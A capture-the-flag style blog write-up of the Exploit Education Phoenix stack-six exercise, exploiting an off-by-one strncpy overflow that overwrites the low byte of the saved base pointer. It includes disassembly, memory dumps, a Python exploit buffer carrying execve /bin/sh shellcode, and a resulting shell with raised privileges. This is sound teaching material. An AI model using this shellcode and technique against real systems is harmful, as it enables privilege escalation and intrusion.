Previous Writeup:

  1. Stack Zero Writeup - Exploit Education Lab Exercise
  2. Stack One Writeup - Exploit Education Lab Exercise
  3. Stack Two Writeup - Exploit Education Lab Exercise
  4. Stack Three Writeup - Exploit Education Lab Exercise
  5. Stack Four Writeup - Exploit Education Lab Exercise
  6. Stack Five Writeup - Exploit Education Lab Exercise

If you’re learning and writing binary exploits, I would strongly recommend you to take Architecture 1001: x86-64 Assembly course by Xeno Kovah. They cover a wide variety of learning assembly instructions which will be really helpful to understand the exploits.

If you haven’t done setting-up your lab, feel free to check out my previous article on Exploit.education lab setup

Quick Overview

Similar to Stack Five, Stack Six exercise motives are smashing the stack, overwrite base pointer rbp and redirect the program to execute shellcode. However, this stack six challenge revolves around Off-by-one overflow.

Disassemble

Disassembling the code will get you overall idea behind the stack-six code, One can use gdb ./stack-six to start debugging it in runtime.

  1. gdb ./stack-six
  2. Type disassemble main to get the disassembled code (assembly)
   0x000000000040079b <+0>:     push   rbp
   0x000000000040079c <+1>:     mov    rbp,rsp
   0x000000000040079f <+4>:     sub    rsp,0x20
   0x00000000004007a3 <+8>:     mov    DWORD PTR [rbp-0x14],edi
   0x00000000004007a6 <+11>:    mov    QWORD PTR [rbp-0x20],rsi
   0x00000000004007aa <+15>:    mov    edi,0x400878
   0x00000000004007af <+20>:    call   0x400530 <puts@plt>
   0x00000000004007b4 <+25>:    mov    edi,0x4008c2
   0x00000000004007b9 <+30>:    call   0x400520 <getenv@plt>
   0x00000000004007be <+35>:    mov    QWORD PTR [rbp-0x8],rax
   0x00000000004007c2 <+39>:    cmp    QWORD PTR [rbp-0x8],0x0
   0x00000000004007c7 <+44>:    jne    0x4007dd <main+66>
   0x00000000004007c9 <+46>:    mov    esi,0x4008d8
   0x00000000004007ce <+51>:    mov    edi,0x1
   0x00000000004007d3 <+56>:    mov    eax,0x0
   0x00000000004007d8 <+61>:    call   0x400540 <errx@plt>
   0x00000000004007dd <+66>:    mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004007e1 <+70>:    mov    rdi,rax
   0x00000000004007e4 <+73>:    call   0x4006fd <greet>
   0x00000000004007e9 <+78>:    mov    rdi,rax
   0x00000000004007ec <+81>:    call   0x400530 <puts@plt>
   0x00000000004007f1 <+86>:    mov    eax,0x0
   0x00000000004007f6 <+91>:    leave
   0x00000000004007f7 <+92>:    ret

> disassemble greet

   0x00000000004006fd <+0>:     push   rbp
   0x00000000004006fe <+1>:     mov    rbp,rsp
   0x0000000000400701 <+4>:     push   rbx
   0x0000000000400702 <+5>:     sub    rsp,0xa8
   0x0000000000400709 <+12>:    mov    QWORD PTR [rbp-0xa8],rdi
   0x0000000000400710 <+19>:    mov    rax,QWORD PTR [rbp-0xa8]
   0x0000000000400717 <+26>:    mov    rdi,rax
   0x000000000040071a <+29>:    call   0x400580 <strlen@plt>
   0x000000000040071f <+34>:    mov    DWORD PTR [rbp-0x14],eax
   0x0000000000400722 <+37>:    mov    eax,DWORD PTR [rbp-0x14]
   0x0000000000400725 <+40>:    cmp    eax,0x7f
   0x0000000000400728 <+43>:    jbe    0x400731 <greet+52>
   0x000000000040072a <+45>:    mov    DWORD PTR [rbp-0x14],0x7f
   0x0000000000400731 <+52>:    mov    rdx,QWORD PTR [rip+0x200458]        
   0x0000000000400738 <+59>:    lea    rax,[rbp-0xa0]
   0x000000000040073f <+66>:    mov    rsi,rdx
   0x0000000000400742 <+69>:    mov    rdi,rax
   0x0000000000400745 <+72>:    call   0x400510 <strcpy@plt>
   0x000000000040074a <+77>:    mov    eax,DWORD PTR [rbp-0x14]
   0x000000000040074d <+80>:    movsxd rbx,eax
   0x0000000000400750 <+83>:    lea    rax,[rbp-0xa0]
   0x0000000000400757 <+90>:    mov    rdi,rax
   0x000000000040075a <+93>:    call   0x400580 <strlen@plt>
   0x000000000040075f <+98>:    mov    rdx,rax
   0x0000000000400762 <+101>:   lea    rax,[rbp-0xa0]
   0x0000000000400769 <+108>:   lea    rcx,[rax+rdx*1]
   0x000000000040076d <+112>:   mov    rax,QWORD PTR [rbp-0xa8]
   0x0000000000400774 <+119>:   mov    rdx,rbx
   0x0000000000400777 <+122>:   mov    rsi,rax
   0x000000000040077a <+125>:   mov    rdi,rcx
   0x000000000040077d <+128>:   call   0x400550 <strncpy@plt>
   0x0000000000400782 <+133>:   lea    rax,[rbp-0xa0]
   0x0000000000400789 <+140>:   mov    rdi,rax
   0x000000000040078c <+143>:   call   0x400560 <strdup@plt>
   0x0000000000400791 <+148>:   add    rsp,0xa8
   0x0000000000400798 <+155>:   pop    rbx
   0x0000000000400799 <+156>:   pop    rbp
   0x000000000040079a <+157>:   ret

Before taking a look at the code, if you disassembled the stack-six using gdb to view the assembly instruction, you may notice the puts, greet, strncpy and strcpy function calls with parameters. So basically when you hit r in gdb without breakpoint,

  1. Greet with Welcome to phoenix/stack-six, brought to you by https://exploit.education message via Puts (aka printf) method
  2. Grabs the ExploitEducation environment variable content
  3. Invokes greet function with the environment variable content as ptr parameter
  4. The greet method allocates buffer variable with size 128.
  5. Populates the maxSize variable with ptr variable size aka ExploitEducation environment variable content.
  6. maxSize verifies and shrink itself to the size buffer (or) ptr whichever is smaller.
  7. Copies the content of what variable to buffer.
  8. Uses strncpy function to calculate the length of existing buffer and copies the content from who variable. (actual vulnerability)
  9. Returns the duplicate string pointer reference to buffer to the main function
  10. Puts method is invoked and prints the buffer content.

Primary Goal

The primary goal of this exercise is to analyze the overflow pattern & understand the dynamics before redirecting to shellcode and gain code execution. The challenging part is that the maximum you get to overwrite the rbp register is the Least significant byte (LSB) i.e. 1 byte. With the help of 1 byte overflow you’re betting to redirect the code flow of the program.

Memory Allocation

*check Trial and Error section to learn about why address slightly differs while executing in gdb vs seperate program invoked from shell

Let’s calculate the buffer memory allocation in greet method first before diving into the whole program memory allocation. The buffer is initially allocated with 128 bytes that includes null character. The greet message position itself with 34 bytes and the remaining goes to who aka environment variable (ExploitEducation) i.e 94 bytes. However, If you take closer look at strncpy method the maxSize, The maximum you could overflow is 127 i.e check in maxSize = sizeof(buffer) - 1;. So, you now have opportunity to overflow the stack but until Least significant byte of $rbp. (0x7fffffffe5b0 which holds 7fffffffe5e0).

So, the maximum one can influence $rbp is from 01 to ff i.e anywhere between 0x7fffffffe501 to 7fffffffe5ff. Interestingly you can’t afford to have 0x00 since they represent null bytes and remember string terminates are identified using null byte.

Exploit Strategy

Now, our strategy should be following,

  1. Grep and Find the shell code memory address
  2. Finding a specific memory address between 0x7fffffffe501 to 7fffffffe5ff that points to shell code.
(gdb) grep ExploitEducation=
[+] Searching 'ExploitEducation=' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rwx
  0x7fffffffeeff - 0x7fffffffef10  →   "ExploitEducation=[...]"

Luckily our shell code from environment variable ExploitEducation= is located at 0x7fffffffef10 and expands to 0x7fffffffef10+ 126 (decimal) based on our strategy point one. Now, our job is to figure out some address between 0x7fffffffe501 to 7fffffffe5ff.

(gdb) x/32gx 0x7fffffffe500
0x7fffffffe500: 0x00007ffff7ffc948      0x0000000000000049
0x7fffffffe510: 0x00007fffffffe58f      0x0000000000000001
0x7fffffffe520: 0x0000000000000049      0x00007ffff7ffb300
0x7fffffffe530: 0x0000000000000000      0x0000000000400878
0x7fffffffe540: 0x000000000040079b      0x0000000000000000
0x7fffffffe550: 0x0000000000000000      0x00007ffff7db6dde
0x7fffffffe560: 0x000000000040079b      0x01e002800078001e
0x7fffffffe570: 0x0000000000000000      0x00007ffff7db6b1e
0x7fffffffe580: 0x00007ffff7ffb300      0x0a00000000000000
0x7fffffffe590: 0x00007fffffffe638      0x00007ffff7d8fe8f
0x7fffffffe5a0: 0x00007fffffffe638      0x00007fffffffe638
0x7fffffffe5b0: 0x00007fffffffe5e0      0x00000000004007e9
0x7fffffffe5c0: 0x00007fffffffe638      0x00000001ffffe648
0x7fffffffe5d0: 0x000000000040079b      0x00007fffffffef10  # <-------------- We're Lucky
0x7fffffffe5e0: 0x0000000000000001      0x00007ffff7d8fd62
0x7fffffffe5f0: 0x0000000000000000      0x00007fffffffe630

And we’re lucky to have memory address 0x7fffffffe5d0 pointing to 0x7fffffffef10 aka environment variable shell code. Now, it’s all matter of few seconds to connect all dots by overwriting $rbp base pointer LSB 0xd0 and redirecting the code flow to gain code execution. However, overwriting LSB of base pointer doesn’t actually trigger the code execution. When the program execution leave command from main function, the content of $rbp register is used to determine the $rsp aka $rbp+8 to load $rip (Next Instruction Pointer). So, 0x7fffffffe5d0 points to 0x000000000040079b and $rsp ($rbp+8) to 0x00007fffffffef10 which eventually loads into $rip to execute the shell code.

Exploit

As we know that strncpy function prone to stack/buffer overflow based on context, We’re about to carefully plan the exploit and plant the shellcode within the environment variable and overwrite LSB of $rbp base pointer, $rsp stack pointer and redirect the program to shellcode address. Unlike real word scenario such as ASLR - Address Layout Randomization and other preventions in place, We now get a chance to hardcode the buffer address which 100% static in this environment. Let’s now visit the malicious buffer construction,

*check Trial and Error section to learn about why address slightly differs while executing in gdb vs seperate program invoked from shell

  1. Initialize the buffer with Shell code. Grab one from shell-storm.org
  2. Fill the buffer with 96 characters preferably ‘A’ or \x41
  3. Finally the LSB of $rbp as \xd0.

So, here goes the exploit buffer generated with python code,

buffer = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" # length: 30
buffer += "A"*96 #length: 96 
buffer += "\xd0" #length: 1
print(buffer) #total length: 127

Result

user@phoenix-amd64:~$ export ExploitEducation=$(python stack-six.py)
user@phoenix-amd64:~$ /opt/phoenix/amd64/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Welcome, I am pleased to meet you H1�H�//bin/shH�SH��PWH��;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�����
$ id
uid=1000(user) gid=1000(user) euid=406(phoenix-amd64-stack-six) egid=406(phoenix-amd64-stack-six) groups=406(phoenix-amd64-stack-six),27(sudo),1000(user)
$ whoami
phoenix-amd64-stack-six
$ exit

There you go! 🎉 You’ve officially pwned the binary succesfully gained code execution 🪲

buffer-overflow-pride

Trial & Errors

I’m including this trial and error section to learn more about debugging and failures I came across while solving this problem,

  1. Why does address differs in GDB vs while executing from shell?

    The answer boils down to the environment variables that are automatically being set by gdb such as LINES & COLUMNS. So, when the environment variables are added to the program the stack gets pushed down and thus address varies.

    • How do I fix this and simulate similar to real world program execution?

      1. Simply use ` set env _ /opt/phoenix/amd64/stack-six, unset env LINES & unset env COLUMNS commands to reset environment variables in gdb`
      2. Use mature tools like pwntools - python library which helps write exploits and hooks to gdb automatically upon execution.
  2. My stack-six exploit works in GDB but not in terminal ?

    This is due to address padding by environment variables in gdb. Check Answer #1 for detailed explanation.

  3. Where do you get the Shell Code for x86 Arch ?

    This one is actually trial and error, You can get the shellcode based on your arch (x86, x64) in shell-storm

Source and Reference:

  1. Stack Six Exercise: Exploit Education
  2. Architecture 1001: x86-64 Assembly

Closing Note:

This is the last post from exploiting Stack Series, However we’ll restart with Format string vulnerability class from next blog post. I hope this post is helpful for vulnerability researcher 🔍 & code reviewers, For bugs,hugs & discussion, DM in Twitter. Opinions are my own and not the views of my employer.


Author Profile Photo - Shivasurya

Shivasurya

Software Engineer, Security @ Dropbox